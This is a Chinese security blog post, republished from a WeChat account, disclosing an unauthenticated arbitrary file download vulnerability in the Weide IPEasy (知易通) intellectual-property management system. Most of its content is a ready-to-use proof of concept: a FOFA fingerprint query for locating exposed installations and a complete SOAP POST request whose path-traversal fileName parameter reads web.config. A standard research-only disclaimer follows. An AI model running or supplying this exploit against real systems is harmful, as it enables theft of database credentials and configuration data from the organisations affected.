唯德科创 IPEasy 知易通 DownloadFile 任意文件下载漏洞 POC

admin
admin
admin
146589
文章
119
评论
2025年6月5日03:14:22评论24 views字数 918阅读3分3秒阅读模式

漏洞描述：

唯徳知识产权管理系统 DownloadFileWordTemplate 接口存在文件读取漏洞，未经身份验证攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等等，导致网站处于极度不安全状态。

影响版本：

唯德科创 IPEasy 知易通

FOFA:

body="JSCOMM/language.js"icon_hash="511014626"

POC：

POST /AutoUpdate/WSFM.asmx HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36Content-Length: 389Accept-Encoding: gzip, deflateContent-Type: text/xml; charset=utf-8Soapaction: "http://tempuri.org/DownloadFileWordTemplate"Connection: close<?xml version="1.0" encoding="utf-8"?><soap:Envelopexmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xmlns:xsd="http://www.w3.org/2001/XMLSchema"xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">  <soap:Body>    <DownloadFileWordTemplatexmlns="http://tempuri.org/">      <fileName>../../web.config</fileName>    </DownloadFileWordTemplate>  </soap:Body></soap:Envelope>
唯德科创 IPEasy 知易通 DownloadFile 任意文件下载漏洞 POC

==

原文始发于微信公众号（HK安全小屋）：唯德科创 IPEasy 知易通 DownloadFile 任意文件下载漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月5日03:14:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   唯德科创 IPEasy 知易通 DownloadFile 任意文件下载漏洞 POChttps://cn-sec.com/archives/4134106.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉.

发表评论

匿名网友 填写信息